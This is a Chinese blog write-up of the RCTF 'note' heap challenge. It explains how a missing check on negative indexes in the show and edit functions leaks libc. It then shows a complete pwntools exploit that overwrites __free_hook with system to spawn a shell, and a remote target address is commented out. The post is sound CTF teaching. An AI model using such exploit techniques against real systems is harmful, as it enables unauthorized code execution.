RCTF pwn-note (非预期解?)

前几天打了RCTF 整体来说比较难,pwn就做了 一个note 逆向也没做出来....

源文件exp及idb下载地址 https://files.cnblogs.com/files/nigacat/note_attachment.rar

首先IDA分析,发现stripped了plt表,得手动猜函数名,重命名

 

 

典型的菜单堆题目 ,其中menu new edit delete show 已经被我重命名过,方便后续分析

题目 给的glibc-2.29 以为要考察新增的防护机制绕过

new函数

 

 其中的bss段的几个数据和数组我也重命名了 ,方便分析

money 只允许我们申请大小为1,2的堆块 ,实际上是malloc(0x20)

show和edit函数

 

 

 

 发现是通过输入的v2进行数组索引进行的读取写入操作

其中sub_137c应该是read 函数

题目 给的glibc-2.29 以为要考察新增的防护机制绕过

然后就围绕这个想了半天。。。。。。

后来fuzzing 测试发现show()传入一个负数时会导致泄漏 ,edit也是一样的道理。

show(-5)时 内存布局如下图

 

 查看一下libc的偏移计算出libc_base

 

 

 

然后直接edit(-5)对应的size足够使用,写入free_hook 然后在将free_hook改为system

最后free('/bin/sh')就getshell了

具体调试过程就不写了 exp文件里面会有

 

 最后给出exp

修复的idb和文件可以在链接中下载

#洞是我手测的,之前看是给点glibc2.29以为是考新增的检测机制
#show edit 函数中对于输入的负数没做检查,导致可以读取ptr_list更低地址的数据,造成了泄露libc,
#然后利用edit写入指针,可以实现任意地址写
#结合flag内容,感觉有点非预期......
#题目stripped 了plt表 得手动猜一下某些函数函数名

from pwn import *
from time import sleep
context.log_level='debug'
p=process('./note')
#p=remote('124.156.135.103',6004)
#p.interactive()    
#libc=ELF('./libc.so.6')
libc=ELF('./libc-2.27.so')
def new(index,size):
    p.sendlineafter('Choice: ',str(1))
    p.sendlineafter('Index: ',str(index))
    p.sendlineafter('Size: ',str(size))

def delete(index):
    p.sendlineafter('Choice: ',str(2))
    p.sendlineafter('Index: ',str(index))


def show(index):
    p.sendlineafter('Choice: ',str(3))
    p.sendlineafter('Index: ',str(index))


def edit(index,content):
    p.sendlineafter('Choice: ',str(4))
    p.sendlineafter('Index: ',str(index))
    p.sendlineafter('Message: ',content)
sleep(2)

#money_addr=0x4010
#ptr_addr=0x4080
#price_list_addr=0x4090
#size_list_addr=0x4088

#1.to leak
#v3可为负数 导致了漏洞
#函数原型:result = read(1LL, *((_QWORD *)&ptr_list + 3 * v3), *((_QWORD *)&size_list + 3 *v3));

show('-5')
libc_base=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdout_']
print"libc_base:"+hex(libc_base)
#pause()
system_addr=libc.sym['system']+libc_base
bin_sh_addr=libc.search('/bin/sh\x00').next()+libc_base



#2 to change free_hook to system
#v2可为负数
#函数原型:sub_137C((__int64)&v3,*((_QWORD *)&ptr_list + 3 * v2),(_BYTE *)(unsigned int)*((_QWORD *)&size_list + 3 * v2));
payload=p64(libc.sym['__free_hook']+libc_base)+p64(0x1000)
payload+=p64(0)+p64(libc.sym['_IO_2_1_stdout_']+libc_base)
payload+=p64(0)*2
payload+=p64(0)*2+p64(0)*7+p64(bin_sh_addr)
edit(-5,payload)
edit(-5,p64(system_addr))
delete(0)#0位置为bin_sh的地址相当于触发,system('/bin/sh')
p.interactive()

 

posted @ 2020-06-03 13:25  nigacat  阅读(418)  评论(0编辑  收藏  举报